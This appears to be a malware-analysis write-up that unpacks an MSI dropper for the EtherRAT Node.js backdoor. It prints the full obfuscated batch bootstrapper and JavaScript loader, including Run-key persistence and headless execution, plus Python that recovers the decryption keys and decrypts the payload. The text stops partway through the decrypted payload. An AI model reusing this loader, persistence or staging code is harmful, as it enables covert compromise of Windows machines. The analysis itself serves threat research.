Malware Family Analysis • Windows

EtherRAT: Reverse Engineering an Ethereum Smart-Contract-Based C2 Architecture

Reverse engineer the EtherRAT JavaScript loader and emulate its decryption routines in Python to uncover smart-contract-based C2 infrastructure.

Executive Summary

From the malware's staging files, the encrypted EtherRAT payload was extracted and decrypted through reverse engineering of the JavaScript loader's obfuscated constants and custom decryption routine. The decryption process was replicated offline using Python, successfully recovering and validating the 7,411-byte EtherRAT JavaScript payload.

Static and dynamic analysis identified Ethereum-based C2 configuration, randomized HTTP polling, persistent host identification, local logging, configuration storage, and dynamic JavaScript task execution. The analysis further uncovered the Ethereum smart contract, lookup address, function selector, and blockchain-resolved endpoint, providing a complete analysis chain from artifact recovery → decryption → payload validation → Ethereum configuration resolution → EtherRAT capability identification.

Sample Metadata

Static Analysis and Payload Unpacking

Static analysis was conducted on the original installer package (.msi) instead of running it in a dynamic sandbox. By utilizing standard archive extraction tools (such as 7z), the MSI was decompressed to expose its internal file organization. This method avoids the early triggering of the malware and facilitates a detailed examination of the included artifacts.After extraction, the installer was identified as a standalone dropper, containing three separate elements needed for the malware's execution process:

C
kant@APPLEs-MacBook-Pro ~/D/g/1 [7]> 7z x d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6.msi -oextracted_payload

7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,4 CPUs x64)

Scanning the drive for archives:
1 file, 29184 bytes (29 KiB)

Extracting archive: d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6.msi
--         
Path = d9487fdc097f770e5661f9e5dee130068cb179d33716abff1a21c8cb901f25a6.msi
Type = Compound
Physical Size = 29184
Extension = msi
Cluster Size = 512
Sector Size = 64
----
Path = Product.cab
Size = 10865
Packed Size = 11264
--
Path = Product.cab
Type = Cab
Physical Size = 10865
Method = MSZip
Blocks = 1
Volumes = 1
Volume Index = 0
ID = 0

Everything is Ok

Files: 3
Size:       13422
Compressed: 29184
kant@APPLEs-MacBook-Pro ~/D/g/1> 

EtherRAT Delivery and Execution Chain

Delivery and Initial Triage

The EtherRAT malware uses built-in Windows utilities to avoid initial detection. The Gentlemen affiliates often use tools like certutil.exe to download the payload and msiexec.exe to install it silently.We unpacked the MSI archive to analyze the delivery mechanism without running the malware. This keeps the malware from executing and lets us inspect the embedded files and staging methods.

Archive Hierarchy and Automated Unpacking

The MSI package uses a standard Microsoft Installer structure. The attacker hid the main payload inside an embedded Cabinet (.cab) file named Product.cab.This layered approach does two things. First, it keeps the payload compliant with msiexec.exe, so it installs quietly without triggering immediate operating system warnings. Second, nesting the scripts inside a compressed cabinet file inside the MSI forces security tools to scan through multiple archive layers to find the final payload strings.Extracting the MSI file with 7-Zip automatically unpacked the nested .cab stream.

*Extracting the EtherRAT MSI package, revealing the nested Product.cab and the three core payload files.*
Figure: *Extracting the EtherRAT MSI package, revealing the nested Product.cab and the three core payload files.* Click to zoom ↗

Extracting the EtherRAT MSI package, revealing the nested Product.cab and the three core payload files.

This streamlined extraction yielded the three final, obfuscated artifacts, successfully bypassing the archival layers meant to obscure them from superficial file scanning.

Component Identification and File-Type Obfuscation

The extraction produced three files. The attacker removed all file extensions, leaving random filenames like DTHaSxAdkC6s.

*The extracted payload artifacts demonstrating extensionless file-type obfuscation.*
Figure: *The extracted payload artifacts demonstrating extensionless file-type obfuscation.* Click to zoom ↗

The extracted payload artifacts demonstrating extensionless file-type obfuscation.

This prevents basic static analysis tools and email gateways from flagging the files based on their extensions. We used the file command to check the file signatures and identify the role of each component.

C
kant@APPLEs-MacBook-Pro ~/D/g/1/extracted_payload> file . *
.:            directory
DTHaSxAdkC6s: data
EG61CIQnLiDW: DOS batch file, ASCII text
r_624k6i0Ucp: JavaScript source, ASCII text, with very long lines (3644)
▪The Bootstrapper Script (EG61CIQnLiDW): The bootstrapper is a Windows Batch script that triggers the execution. It checks if Node.js is installed. If not, it downloads and installs a portable Node.js runtime to a hidden folder so the JavaScript payloads can run.
▪The Decoder Module (r_624k6i0Ucp): The decoder is a JavaScript file that runs in Node.js. It does two things. First, it creates a Registry Run key (often named WindowsHost) to execute the decrypted backdoor headlessly via conhost.exe when the system starts. Second, it reads the encrypted backdoor file and uses a repeating XOR key to decode it. It then writes the decrypted EtherRAT payload to disk.
▪The Encrypted Payload (DTHaSxAdkC6s): The encrypted payload is a data blob containing the XOR-encrypted JavaScript source code of the EtherRAT backdoor.

Backdoor Initialization

After decryption, the EtherRAT JavaScript payload runs in Node.js. It queries a hardcoded Ethereum smart contract to find its active Command and Control (C2) domain and starts polling for commands.

Breaking the process into three separate parts (installation, decryption, and execution) prevents any single file from having enough context to trigger signature-based antivirus engines.

Extracted fileSizeDetected typeInitial interpretation
EG61CIQnLiDW1,357 BDOS batch file, ASCIIWindows batch/script component
r_624k6i0Ucp4,654 BJavaScript source, ASCII; very long linesJavaScript/Node.js component
DTHaSxAdkC6s7,411 BEncrypted payload
FileHash
DTHaSxAdkC6s
2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46
EG61CIQnLiDW
8c2665adf8bfab65463f2a9bd1b7bb0231de3f5c1e6a2e51479e44aaac2e7bf0
r_624k6i0Ucp
4142d5efd4ea2abab77f2f0a917610e2ff976bf9e19d7ad1e9156eccdc5412db

EG61CIQnLiDW Batch Bootstrapper

C
@echo off
setlocal enabledelayedexpansion
set "aw_=%~dp0"
set "aw_=!aw_:~0,-1!"
set "zqk50=cu"&set "zqk51=rl"
set "sg5u0=tar"
set "a4b80=co"&set "a4b81=nhos"&set "a4b82=t"
set "hfs60=--he"&set "hfs61=adl"&set "hfs62=es"&set "hfs63=s"
set "bzuw0=st"&set "bzuw1=art"
set "lt_x0=no"&set "lt_x1=de"
set "e7c="
where !lt_x0!!lt_x1! >"!aw_!\gNlk1cgh" 2>nul
set /p e7c=<"!aw_!\gNlk1cgh"
del "!aw_!\gNlk1cgh" >nul 2>&1
if defined e7c goto :yiEjv
!zqk50!!zqk51! -sLo "%TEMP%\9gY0LJMyXW.zip" "https://nodejs.org/dist/v18.20.5/node-v18.20.5-win-x64.zip"
!sg5u0! -xf "%TEMP%\9gY0LJMyXW.zip" -C "!aw_!"
del /q "%TEMP%\9gY0LJMyXW.zip" >nul 2>&1
ren "!aw_!\node-v18.20.5-win-x64" gksVMg >nul 2>&1
:yiEjv
:qRUFs
if defined e7c if exist "!e7c!" goto :NmurP
if exist "!aw_!\gksVMg\!lt_x0!!lt_x1!.exe" (
set "e7c=!aw_!\gksVMg\!lt_x0!!lt_x1!.exe"
goto :NmurP
)
if exist "!aw_!\node-v18.20.5-win-x64\!lt_x0!!lt_x1!.exe" (
set "e7c=!aw_!\node-v18.20.5-win-x64\!lt_x0!!lt_x1!.exe"
goto :NmurP
)
timeout /t 3 /nobreak >nul 2>&1
ren "!aw_!\node-v18.20.5-win-x64" gksVMg >nul 2>&1
goto :qRUFs
:NmurP
:MlaNz
if not exist "!aw_!\v72HYLU3OpRBznc.ini" goto :SC8vc
if not exist "!aw_!\A7Pnj975bl.cfg" goto :SC8vc
goto :laZci
:SC8vc
timeout /t 2 /nobreak >nul 2>&1
goto :MlaNz
:laZci
!bzuw0!!bzuw1! "" !a4b80!!a4b81!!a4b82! !hfs60!!hfs61!!hfs62!!hfs63! "!e7c!" "!aw_!\A7Pnj975bl.cfg"
exit

The script employs fragmented variables to rebuild command names like curl, tar, conhost, --headless, start, and node. This offers minimal string obfuscation.

The first major operation checks whether Node.js is available:

C
where !lt_x0!!lt_x1!

If Node.js is unavailable, the script downloads Node.js v18.20.5 for Windows x64, extracts it, and renames the extracted directory to gksVMg.

It then repeatedly searches for node.exe and waits for two additional artifacts:

C
v72HYLU3OpRBznc.ini
A7Pnj975bl.cfg

Once both files exist, the script executes:

C
conhost --headless <node.exe> <A7Pnj975bl.cfg>

Therefore, EG61CIQnLiDW functions primarily as a Node.js provisioning and staged-execution bootstrapper.

r624k6i0Ucp - Obfuscated JavaScript Loader

C
var $vx=[[14,37,223,62],[29,44,194,58,221,186,82,172,117,182,90,198,0],[13,52,202,33,215],[26,45,217,56,216,136,71],[31,54,204,32],[27,60,206,53,233,132,86,182],[24,54,196,59],[26,116,200,102,221,221,68,191,126,229,91,132,21,97,14,38,10,53,217,119,200,145,1,171,51,163,27,151,85,112,76,54,58,84,239,71,175,166,55,202,13,148,44,164,107,68,126,86,124,23,171,2,189,236,32,222,24,220,108,177,37,83,60,16,15,50,210,116,193,144,4,252,63,164,71,204,0,112,79,54,74,37,201,96,140,208,74,188,115,177,90,128,22,53,91,113,45,29,169,6,239,188,113,140,27,132,60,228,38,87,63,73,60,7,232,68,171,246,98,153,9,196,124,163,96,16,123,85],[22,33,211],[78,34,146,97,218,213,26,187,121,183,9,214,21,96,13,115,8,53,143,118,144,196,7,171,105,242,30,147,5,122,19,55],[28,114,153,52,218,128,19,184,45,228,15,135,68,50,10,115,93,54,218,126,153,195,81,252,108,245,78,146,86,32,78,49,61,7,233,79,250,161,50,205,95,144,125,164,50,65,126,7,120,68,248,85,239,236,38,140,79,221,56,183,122,81,59,66,92,97,218,39,203,146,4,252,110,164,75,195,0,35,76,102,28,34,154,101,221,211,23,236,121,188,89,221,27,55,88,37,125,18,174,80,224,177,35,135,25,130,58,177,35,85,60,72,104,87,236,69,241,172,100,156,90,145,44,164,102,26,123,80,155,243,30,179,11,86,155,58,175,97,143,2,192,181,131,245,143,226,89,162,24,64,131,47,235,117,154,28,135,167,204,180,231,215,50,193,44,118,186,28,141,64,166,118,225,203,174,133,171,198,35,211,57,48,165,88,158,1,238,49,251,208,185,150,143,179,90,243,31,23,212,45,232,115,154,68,138,171,152,232,205,165,31,176,88,3,197,57,249,100,216,0,198,176,221,162,248,149,41,131,105,100,166,92,200,5,190,52,164,215,239,197,189,209,110,151,125,38,226,23,217,16,173,35,179,150,251,217,71,38,153,55,139,215,23,236,34,231,11,133,64,103,11,36,93,108,141,35,204,195,1,252,104,245,29,198,82,39,76,102,107,92,187,71,160,240,54,155,14,150,125,167,101,70,123,86,47,65,172,0,188,226,34,138,28,212,56,189,114,81,104,20,92,51,222,112,193,147,80,170,107,173,71,205,80,113,66,96,24,32,159,62,219,128,64,234,114,224,94,134,64,51,93,116,43,64,173,0,191,228,112,143,27,208,60,224,118,6,110,66,54,82,227,71,249,165,54,207,94,157,123,241,101,16,115,89,204,253,74,180,93,85,198,59,249,109,136,12,203,226,219,163,219,182,88,242,16,20,139,40,190,114,203,67,213,160,153,177,188,133,104,144,42,118,177,29,143,69,174,38,228,195,175,134,246,144,126,135,109,54,171,95,147,83,233,96,245,129,190,193,142,230,83,161,76,68,209,41,236,44,201,20,139,240,158,226,154,173,31,178,94,6,151,62,171,97,223,93,193,224,142,249,253,157,46,213,111,97,244,88,201,81,190,100,170,131,184,195,234,135,63,147,47,113,176,76,143,17,169,114,181,148,172,213],[20,43,194,56],[8,115,153,30,224,169,119,237,85,165,109,247,9,61,89,62,7,58,210],[12,33,202,50,255,140,78,187,73,172,81,214],[31,40,199,57,218],[18,33,197,49,205,141],[13,48,207,63,214],[14,45,219,51],[23,35,197,57,203,128],[9,45,197,50,214,146,81,150,115,177,90],[13,48,207,63,215],[9,54,194,34,220],[27,42,207],[27,60,194,34],[45,1,223,18,239,179,90,138,120,231,101,133,23,97,124,105,52,2,195,8,200,162,124,183,104,246,97,211,57,45,120,99,8,86,231,3,195,130,59,205,89,196,103,209,55,43,80,73,20,35,174,86,223,184,68,151,73,215,99,243,33,15,114,115,90,83,223,43],[28,37,216,51,143,209],[10,43,248,34,203,140,76,185],[39,118,146,35,216,162,27,164,126,150,126,193,63,4,82,124,55,3,233,53,243,173,124,180],[27,60,206,53,255,140,78,187,73,172,81,214],[29,41,253,56],[31,32,207],[63,52,219,4,220,150,77,178,108,176,77],[92,100,137],[63,115,251,56,211,220,21,235,120,185,17,214,21,52]],$kj=[126,69,169,85,189,224,36,217,18,220,53,190,127,94,52,31];function $qz(n){for(var s=$vx[n],r='',j=0;j<s.length;j++)r+=String.fromCharCode(s[j]^$kj[j%$kj.length]^(j&255));return r;}
var f=require('fs'),p=require($qz(0)),B=Buffer,sp=require($qz(1))[$qz(2)],d=p[$qz(3)](process[$qz(4)][0x1]),x=process[$qz(5)],k=B[$qz(6)]($qz(7),$qz(8)),n=B[$qz(6)]($qz(9),$qz(8)),si=B[$qz(6)]($qz(10),$qz(8)),ef=p[$qz(11)](d,$qz(12));function dc(){var _a=f[$qz(13)](ef),_b=B[$qz(14)](_a[$qz(15)]),_c=n[0x0];for(var _d=0x0;_d<_a[$qz(15)];_d++){var _e=_a[_d],_f=_c;_c=_e,_e=_e-_f&0xff,_e=_e^n[_d%n[$qz(15)]]^_d>>>0x8&0xff,_e=si[_e],_e=_e-k[_d%k[$qz(15)]]&0xff,_b[_d]=_e;}return _b;}function go(){try{var _g=dc(),_h=sp(x,['-'],{[$qz(16)]:[$qz(17),$qz(18),$qz(18)],[$qz(19)]:!![]});_h[$qz(20)][$qz(21)](_g),_h[$qz(20)][$qz(22)](),_h['on']($qz(23),function(){setTimeout(go,0x1388);});}catch(_i){setTimeout(go,0x2710);}}var _r=B[$qz(6)]($qz(24),$qz(25))[$qz(26)](),_c=B[$qz(6)]($qz(27),$qz(25))[$qz(26)]();try{require($qz(1))[$qz(28)](B[$qz(6)]($qz(29),$qz(25))[$qz(26)](),[$qz(30),_r,'/v',$qz(31),'/d',_c+'\x20\x22'+x+$qz(32)+p[$qz(11)](d,$qz(33))+'\x22','/f'],{[$qz(19)]:!![],[$qz(16)]:$qz(18)});}catch(_j){}go();

The JavaScript is the more significant of the two artifacts. It contains an array-based string-obfuscation mechanism:

C
function $qz(n){
    for(var s=$vx[n],r='',j=0;j<s.length;j++)
        r+=String.fromCharCode(
            s[j]^$kj[j%$kj.length]^(j&255)
        );
    return r;
}

The $vx array stores encoded strings, while $kj provides a repeating XOR key. The additional (j & 255) operation incorporates the byte position into the decoding process.

Recovered strings include Node.js functionality such as:

C
path
child_process
spawn
dirname
argv
execPath
Buffer.from()
join
readFileSync
stdin
write
end
exit

The script reads v72HYLU3OpRBznc.ini and applies a custom byte transformation to it. The transformation uses differential decoding, XOR operations, a lookup/substitution table, and a second repeating key.

The resulting buffer is passed to a newly spawned Node.js process through standard input:

C
_h = sp(x, ['-'], ...);
_h.stdin.write(_g);
_h.stdin.end();

The use of node - is significant because the decrypted content can be interpreted as JavaScript directly from standard input rather than being written as a separate plaintext file.

The script also invokes Windows reg functionality through Node.js to create a Run-key persistence mechanism. The encoded values resolve to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run location and the AppResolver value.

The resulting architecture is therefore:

C
MSI
 │
 └── Product.cab
      │
      ├── EG61CIQnLiDW
      │      ├── Check Node.js
      │      ├── Download Node.js 18.20.5
      │      ├── Extract runtime
      │      ├── Wait for staged files
      │      └── Launch Node.js + A7Pnj975bl.cfg
      │
      └── r_624k6i0Ucp
             ├── Decode embedded strings
             ├── Establish persistence
             ├── Read v72HYLU3OpRBznc.ini
             ├── Transform/decrypt payload
             └── Pipe decrypted data to node -

This demonstrates a multi-stage Node.js execution architecture in which the MSI provides the initial scripts, the batch component provisions the required runtime, and the JavaScript loader performs persistence and subsequent payload processing.

Dynamic Detonation and Recovery of Staged Artifacts

The original MSI was triggered within a contained Windows analysis virtual machine to monitor the malware's following execution phases. The original MSI was run instead of executing the extracted batch or JavaScript files separately. This maintained the execution sequence noted during installation and enabled the malware to establish its temporary working directory and prepare its necessary components.On the first execution attempt, the bootstrapper managed to download the Node.js v18.20.5 Windows x64 archive, but the extraction failed due to the analysis VM’s outdated GNU tar implementation not being compatible with the downloaded ZIP archive giving the error:

C
tar: Cannot open C:\Users\REM\AppData\Local\Temp\9gY0LJMyXW.zip: Function not implemented
tar: Error is not recoverable: exiting now

The ZIP archive that was downloaded was independently verified with 7-Zip and confirmed to be a valid file. To enable the sample to proceed with its anticipated tar -xf operation, a managed analysis wrapper was later employed to convert the extraction process into a corresponding 7-Zip command.

To allow the execution chain to continue without modifying the malware, a local command wrapper was created at:

TELEMETRY / DISASSEMBLY
C:\Tools\tar\tar.cmd

The wrapper intercepted the specific tar -xf <archive> -C <directory> syntax used by the bootstrapper and translated it to an equivalent 7-Zip extraction command.

The final wrapper used during analysis was:

TELEMETRY / DISASSEMBLY
@echo off
setlocal

if /I "%~1"=="-xf" if /I "%~3"=="-C" (
    if not exist "%~4" mkdir "%~4"
    "C:\Program Files\7-Zip\7z.exe" x "%~2" -o"%~4" -y
    exit /b %ERRORLEVEL%
)

echo Unsupported tar syntax: %*
exit /b 1

The wrapper was placed at the beginning of the PATH environment variable so that the tar command resolved to the controlled wrapper before the legacy GnuWin32 implementation

During the subsequent malware execution, the wrapper successfully handled the malware-generated archive:

Successful Node.js Archive Extraction During Detonation.
Figure: Successful Node.js Archive Extraction During Detonation. Click to zoom ↗

Successful Node.js Archive Extraction During Detonation.

This adjustment was implemented solely to suit the analysis environment the original batch script of the malware remained unchanged.Once the extraction phase was finished successfully, the process continued, and a temporary working directory was established:P2RsupmqXnmx

The recovered directory contained:

TELEMETRY / DISASSEMBLY
P2RsupmqXnmx/
├── A7Pnj975bl.cfg
├── MVnVmUYj.cmd
├── node-v18.20.5-win-x64/
└── v72HYLU3OpRBznc.ini
File explorer C:\Users\REM\AppData\Local\P2RsupmqXnmx directory conatining 1 folder of nodejs and 3 files.
Figure: File explorer C:\Users\REM\AppData\Local\P2RsupmqXnmx directory conatining 1 folder of nodejs and 3 files. Click to zoom ↗

File explorer C:\Users\REM\AppData\Local\P2RsupmqXnmx directory conatining 1 folder of nodejs and 3 files.

SHA-256 Hashes of Recovered Artifacts

C
4142d5efd4ea2abab77f2f0a917610e2ff976bf9e19d7ad1e9156eccdc5412db  A7Pnj975bl.cfg
8c2665adf8bfab65463f2a9bd1b7bb0231de3f5c1e6a2e51479e44aaac2e7bf0  MVnVmUYj.cmd
2d4b4bb18b8445e49eeda571982874403befcecf78266e3d405f6529d98bee46  v72HYLU3OpRBznc.ini

Artifact Renaming During Execution

Comparison of the artifacts extracted directly from the MSI with files recovered from the temporary execution directory showed that the malware stages the same components under different filenames and extensions.

Original MSI ArtifactStaged ArtifactType / Role
EG61CIQnLiDWMVnVmUYj.cmdBatch bootstrapper
r_624k6i0UcpA7Pnj975bl.cfgJavaScript loader
DTHaSxAdkC6sv72HYLU3OpRBznc.iniEncrypted payload

The recovered files were identified by comparing their contents with the artifacts extracted from the original MSI. MVnVmUYj.cmd corresponds to EG61CIQnLiDW, while A7Pnj975bl.cfg contains the same JavaScript code as r_624k6i0Ucp. Similarly, v72HYLU3OpRBznc.ini corresponds to the encrypted payload originally identified as DTHaSxAdkC6s.

The malware therefore changes the filenames and, in some cases, the apparent file extensions during staging. In particular, the JavaScript loader is stored with a .cfg extension and the encrypted payload with a .ini extension, obscuring their actual functions.

Artifact Relationship

TELEMETRY / DISASSEMBLY
                MSI
                 │
       ┌─────────┼─────────┐
       │         │         │
       ▼         ▼         ▼
 EG61CIQnLiDW  r_624k6i0Ucp  DTHaSxAdkC6s
       │         │         │
       │         │         │
       ▼         ▼         ▼
MVnVmUYj.cmd A7Pnj975bl.cfg v72HYLU3OpRBznc.ini
       │         │         │
       ▼         ▼         ▼
   Bootstrapper  JS Loader  Encrypted Payload

Encrypted Payload Recovery and Decryption

During dynamic analysis, three files were recovered from the malware's staging directory. Comparison with the artifacts originally extracted from the MSI established the following relationships:

Original MSI ArtifactRecovered/Staged ArtifactRole
EG61CIQnLiDWMVnVmUYj.cmdBatch bootstrapper
r_624k6i0UcpA7Pnj975bl.cfgJavaScript loader
DTHaSxAdkC6sv72HYLU3OpRBznc.iniEncrypted payload

The .ini extension of v72HYLU3OpRBznc.ini does not represent its actual function. The recovered file was identified as binary data and was subsequently processed by the JavaScript loader.

1. JavaScript Loader Analysis

Static analysis of A7Pnj975bl.cfg revealed that the loader constructs the path to the encrypted payload:

TELEMETRY / DISASSEMBLY
ef=p[$qz(11)](d,$qz(12));

After decoding the obfuscated strings, this resolves to:

TELEMETRY / DISASSEMBLY
ef=path.join(d,"v72HYLU3OpRBznc.ini");

The loader then reads the file using:

TELEMETRY / DISASSEMBLY
fs.readFileSync(ef);

The loader contains an obfuscated string-decoding routine:

TELEMETRY / DISASSEMBLY
function$qz(n) {for (vars=$vx[n],r='',j=0;j<s.length;j++
    )r+=String.fromCharCode(s[j]^$kj[j%$kj.length]^ (j&255)
        );returnr;
}

The $kj array recovered from the loader was:

TELEMETRY / DISASSEMBLY
[126, 69, 169, 85, 189, 224, 36, 217,
 18, 220, 53, 190, 127, 94, 52, 31]
Obfuscated JavaScript loader containing the `$qz()` string-decoding and payload-processing routines.
Figure: Obfuscated JavaScript loader containing the `$qz()` string-decoding and payload-processing routines. Click to zoom ↗

Obfuscated JavaScript loader containing the $qz() string-decoding and payload-processing routines.

2. Extraction of Obfuscated Constants

The loader's cryptographic parameters were not stored as directly readable strings. Instead, they were encoded within $vx and decoded at runtime by $qz().

To recover these values without executing the loader, the $qz() routine was independently reproduced using extract_constants.py.

C
import re
import ast

src = open("A7Pnj975bl.cfg", "r", encoding="utf-8").read()

m = re.search(
    r"var \$vx=(\[.*?\]),\$kj=(\[.*?\]);function \$qz",
    src,
    re.S
)

if not m:
    raise RuntimeError("Could not locate $vx/$kj")

vx = ast.literal_eval(m.group(1))
kj = ast.literal_eval(m.group(2))

def qz(n):
    s = vx[n]
    return ''.join(
        chr(s[j] ^ kj[j % len(kj)] ^ (j & 0xff))
        for j in range(len(s))
    )

print("Decoded $qz() strings:")
print("=" * 60)

for i in range(len(vx)):
    try:
        print(f"{i:02d}: {qz(i)!r}")
    except Exception as e:
        print(f"{i:02d}: ERROR: {e}")

print("\n$kj:")
print(kj)

The script was executed

C
kant@APPLEs-MacBook-Pro ~/D/P2RsupmqXnmx_analysis> python3 extract_constants.py
Decoded $qz() strings:
============================================================
00: 'path'
01: 'child_process'
02: 'spawn'
03: 'dirname'
04: 'argv'
05: 'execPath'
06: 'from'
07: 'd0c0d8fad0d1f246dab1ad3e9f4263f6d0d16c547a3187df2c0d492029c4f060169b85fbe1893c5fd12fee82945e561139b06932a1c15de9233bbc07ca3fc315'
08: 'hex'
09: '0f97c08ecb6cf37cfa40915ec716f997'
10: 'b62bce1f71027a0c3ba806c2f0a75cd1ccb9cd03eeb1a2d760c3f94be872921bbe1127fb4146306626ac4feb3968842ec6ef94a9c7ed0ff8fc7c896204cae910e75e239d54073f9ea6bd151aa059ddf49397538b759c2845e2850e764da48336171ef2632fe198b8c1d616773a7ee37bf1b50adb20aa7d553e51430935bf05199b2a225282403414386ee632b02c1dff5801954e4cb265afa57f570d617812b4b75f86241888cb8064d8252d8e1cc0745df6fa21aec5e5428f8a00da4844f39929abd0dec87981a35bc49a9f47df6c31bacf333c501370568deadc9196fe6b4a0b875a37696a8cd249d473e0ad08bcd9c9ec6d6f3da190b3d3d5fdbbe4f767f5'
11: 'join'
12: 'v72HYLU3OpRBznc.ini'
13: 'readFileSync'
14: 'alloc'
15: 'length'
16: 'stdio'
17: 'pipe'
18: 'ignore'
19: 'windowsHide'
20: 'stdin'
21: 'write'
22: 'end'
23: 'exit'
24: 'SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4='
25: 'base64'
26: 'toString'
27: 'Y29uaG9zdCAtLWhlYWRsZXNz'
28: 'execFileSync'
29: 'cmVn'
30: 'add'
31: 'AppResolver'
32: '" "'
33: 'A7Pnj975bl.cfg'

$kj:
[126, 69, 169, 85, 189, 224, 36, 217, 18, 220, 53, 190, 127, 94, 52, 31]

Relevant decoded values included:

TELEMETRY / DISASSEMBLY
07: d0c0d8fad0d1f246dab1ad3e9f4263f6...
08: hex
09: 0f97c08ecb6cf37cfa40915ec716f997
10: b62bce1f71027a0c3ba806c2f0a75cd1...
12: v72HYLU3OpRBznc.ini

The recovered values are subsequently used by the loader to construct:

TELEMETRY / DISASSEMBLY
k=Buffer.from($qz(7),$qz(8));n=Buffer.from($qz(9),$qz(8));si=Buffer.from($qz(10),$qz(8));

Because $qz(8) resolves to hex, the recovered strings are interpreted as hexadecimal byte sequences.

*Execution of `extract_constants.py` recovering the obfuscated strings and decryption constants.*
Figure: *Execution of `extract_constants.py` recovering the obfuscated strings and decryption constants.* Click to zoom ↗

Execution of extract_constants.py recovering the obfuscated strings and decryption constants.

3. Reconstruction of the Decryption Routine

The loader's dc() function processes the encrypted payload byte-by-byte:

JSX
function dc() {
    var _a = f[$qz(13)](ef),
        _b = B[$qz(14)](_a[$qz(15)]),
        _c = n[0x0];

    for (var _d = 0x0; _d < _a[$qz(15)]; _d++) {
        var _e = _a[_d],
            _f = _c;

        _c = _e;

        _e = _e - _f & 0xff;
        _e = _e ^ n[_d % n[$qz(15)]] ^ _d >>> 0x8 & 0xff;
        _e = si[_e];
        _e = _e - k[_d % k[$qz(15)]] & 0xff;

        _b[_d] = _e;
    }

    return _b;
}

The algorithm can be summarized as:

JSX
Encrypted byte
      │
      ▼
Subtract previous ciphertext byte
      │
      ▼
XOR with n[i mod len(n)]
      │
      ▼
XOR with ((i >> 8) & 0xff)
      │
      ▼
Substitution through si[]
      │
      ▼
Subtract k[i mod len(k)]
      │
      ▼
Decrypted byte

The first previous-byte value is initialized to n[0]. The previous ciphertext byte is then updated on every iteration.

Therefore, the payload is protected using a custom byte-wise transformation, rather than a simple repeating XOR operation.

4. Offline Payload Decryption

The encrypted payload recovered during analysis was:

TELEMETRY / DISASSEMBLY
v72HYLU3OpRBznc.ini

Its size was:

TELEMETRY / DISASSEMBLY
7,411 bytes

To avoid executing the payload during the decryption process, the dc() routine was independently reproduced in Python.

The complete decrypt_payload.py implementation was:

JSX
from pathlib import Path

payload = Path("v72HYLU3OpRBznc.ini").read_bytes()

k = bytes.fromhex(
    "d0c0d8fad0d1f246dab1ad3e9f4263f6"
    "d0d16c547a3187df2c0d492029c4f060"
    "169b85fbe1893c5fd12fee82945e5611"
    "39b06932a1c15de9233bbc07ca3fc315"
)

n = bytes.fromhex(
    "0f97c08ecb6cf37cfa40915ec716f997"
)

si = bytes.fromhex(
    "b62bce1f71027a0c3ba806c2f0a75cd1"
    "ccb9cd03eeb1a2d760c3f94be872921b"
    "be1127fb4146306626ac4feb3968842e"
    "c6ef94a9c7ed0ff8fc7c896204cae910"
    "e75e239d54073f9ea6bd151aa059ddf4"
    "9397538b759c2845e2850e764da48336"
    "171ef2632fe198b8c1d616773a7ee37b"
    "f1b50adb20aa7d553e51430935bf0519"
    "9b2a225282403414386ee632b02c1df"
    "f5801954e4cb265afa57f570d617812b"
    "4b75f86241888cb8064d8252d8e1cc07"
    "45df6fa21aec5e5428f8a00da4844f39"
    "929abd0dec87981a35bc49a9f47df6c3"
    "1bacf333c501370568deadc9196fe6b4"
    "a0b875a37696a8cd249d473e0ad08bcd"
    "9c9ec6d6f3da190b3d3d5fdbbe4f767f5"
)

out = bytearray(len(payload))

previous = n[0]

for i, current in enumerate(payload):
    value = current
    previous_cipher = previous
    previous = current

    value = (value - previous_cipher) & 0xff
    value = value ^ n[i % len(n)] ^ ((i >> 8) & 0xff)
    value = si[value]
    value = (value - k[i % len(k)]) & 0xff

    out[i] = value

Path("decrypted_payload.bin").write_bytes(out)

print(f"Input : {len(payload)} bytes")
print(f"Output: {len(out)} bytes")
print("Written: decrypted_payload.bin")

The script was executed

The resulting output confirmed that all bytes were processed:

JSX
kant@APPLEs-MacBook-Pro ~/D/P2RsupmqXnmx_analysis> python3 decrypt_payload.py
Input : 7411 bytes
Output: 7411 bytes
Written: decrypted_payload.bin
Offline reproduction of the malware's payload-decryption routine.
Figure: Offline reproduction of the malware's payload-decryption routine. Click to zoom ↗

Offline reproduction of the malware's payload-decryption routine.

5. Validation of the Decrypted Payload

The resulting file was analyzed without executing it.

file identified the output as:

file command on decrypted_payload.bin
Figure: file command on decrypted_payload.bin Click to zoom ↗

file command on decrypted_payload.bin

The first bytes were:

TELEMETRY / DISASSEMBLY
00000000: 2828 2829 3d3e 7b76 6172 205f 613d 7b30
00000010: 7833 3062 286d 6f64 756c 6529 7b66 756e
00000020: 6374 696f 6e20 5f62 285f 6329 7b76 6172
00000030: 205f 643d 6e65 7720 4572 726f 7228 2743

These bytes correspond to valid JavaScript beginning with:

TELEMETRY / DISASSEMBLY
(()=>{var_a={

The SHA-256 of the decrypted payload was:

TELEMETRY / DISASSEMBLY
0ac06c192dbf76ab86515a4cd1b640cbffee0a32166690f90c6b778fe8f7ad01

This successful conversion from binary data to valid JavaScript confirms that the reconstructed decryption routine accurately reproduces the malware's payload-decoding mechanism.

Validation of the decrypted payload as JavaScript source code.
Figure: Validation of the decrypted payload as JavaScript source code. Click to zoom ↗

Validation of the decrypted payload as JavaScript source code.

6. Recovered Payload

Contents of the decrypted_payload.bin

JSX
((() => {
    var _a = {
            0x30b(module) {
                function _b(_c) {
                    var _d = new Error('Cannot\x20find\x20module\x20\x27' + _c + '\x27');
                    _d['code'] = 'MODULE_NOT_FOUND';
                    throw _d;
                }
                _b['keys'] = () => [], _b['resolve'] = _b, _b['id'] = 0x30b, module['exports'] = _b;
            },
            0x2ed(module) {
                'use strict';
                module['exports'] = require('crypto');
            },
            0x17f(module) {
                'use strict';
                module['exports'] = require('fs');
            },
            0x16e(module) {
                'use strict';
                module['exports'] = require('os');
            },
            0x3(module) {
                'use strict';
                module['exports'] = require('path');
            }
        },
        _e = {};

    function _f(_g) {
        var _h = _e[_g];
        if (_h !== undefined) return _h['exports'];
        var module = _e[_g] = {
            'exports': {}
        };
